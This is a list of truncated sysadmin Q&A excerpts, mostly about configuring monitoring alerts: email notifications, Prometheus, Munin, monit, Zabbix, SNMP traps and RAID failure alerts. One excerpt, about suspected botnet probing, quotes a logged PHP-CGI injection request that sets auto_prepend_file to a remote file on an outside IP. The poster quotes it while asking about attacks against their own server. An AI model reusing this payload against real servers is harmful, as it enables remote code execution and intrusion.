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Email Notifications for System Performance Windows Server 2008 R2

I am trying to figure out how to apply email notifications to system performance triggers for example high CPU, High RAM usage, low disk space etc. I have tried googling it but I am unable to find a guide which walks to through doing this, as I…
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SQL Server 2005 Replication Subscription Expiring Warning

This week one of my replication subscriptions expired because I wasn't getting any alerts saying that there was a login error (I've fixed those alerts and the error). What I'd like now is, in the case that this happens again, to be able to send an…
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How do I configure Prometheus for aggregated metrics?

I have five related questions around the configuration of Prometheus for aggregated metric reception. There are some invariants in my system: Python server code that needs to be instrumented Prometheus service that needs to get aggregated metrics…
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Apache - Getting Alerts on Traffic/Spiders Exceeding a Threshold

What tools can I use to monitor my Apache Log files and create alerts based on traffic. I need to: Get an alert when a spider that is outside of a defined list exceeds a set number of requests in any given day. Get an alert when traffic from a…
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How do I change the email address that Munin alerts are sending from?

The issue I'm having here is that when I get an alert from Munin, I want it to create a ticket. When the ticket it created, it sends an email back to the email address that Munin sent from each time the ticket is updated, which is not an actual…
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turn off monit text alerts at night

I have monit running 24/7/365 and sending alerts to an e-mail address and text messages to a phone equally. However I would now like to stop the phone text msgs at night so they don't wake me up. I can't just silence my phone because we are on call…
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HP SNMP Traps signalled every 10 seconds for a NIC

I'm trying to setup SNMP traps on my HP DL160 G6 (Xenserver) to notify me whenever I have issues with the server. Following suggestions from this serverfault post, I've installed the HP SNMP agents and configured my cma.conf to email me whenever I…
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How can I reliably deliver monitoring system alerts?

Like many people, I use a Zabbix system to monitor my servers. If there's a problem with one of my servers, Zabbix will send a message to the email address of my choosing. (Many - most? - monitoring systems work this way.) When an alert happens, I'd…
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How can I replace email alerts for system events with something more scalable?

I have a number of systems and services that send email alerts when some sort of event takes place. This works fine for a small number of systems but as the number of alerts grows the important message become less visible among the informational…
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How do I get alerted when a workstation falls back from wired networking to wifi?

I have a bunch of medical-grade all-in-one workstations in use in a high-demand medical environment that spend their lives plugged in to power and wired networking. The systems came with a 30 minute backup battery and a wifi card for redundancy. The…
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Potential Bot-Net organizers probing for new machines?

I'm getting a number of exploit attempts from different IP's today. GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt The content of…
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DBMS_ALERT slow to trigger on RAC

I asked a question earlier about whether DBMS_ALERT works on the RAC. The answer was yes, and I have set up a VMWare test environment and confirmed it. However, there seems to be a long delay between when the SIGNAL() call is made and the WAITONE()…
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How can I stop my Sonicwall NSA 240 to stop sending me alerts about "possible port scans?"

I couldn't care less about port scans and I like to have alerts emailed to me. Instead of seeing important alerts (losing a WAN line, catching malware, etc) I'm getting tons and tons of "possible port scans." Its incredibly annoying and so far I…
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Alerting when a RAID Array disk fails locally on VMWare ESX or ESXi System

With ESX and ESXi, we recently had two systems where that the boot partition became degraded due to a failed disk. The only alert we managed to capture was the visual alert on the Dell servers. We failed to received any electronic alerts regarding…
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Microsoft Exchange group calendar for periodic events/alerts

I have a user request to create a shared calendar resource containing events (not meetings) that may be of interest to a small subset of my users, e.g. deadlines, contract expirations, etc. This arrangement would need to be able to send or display…
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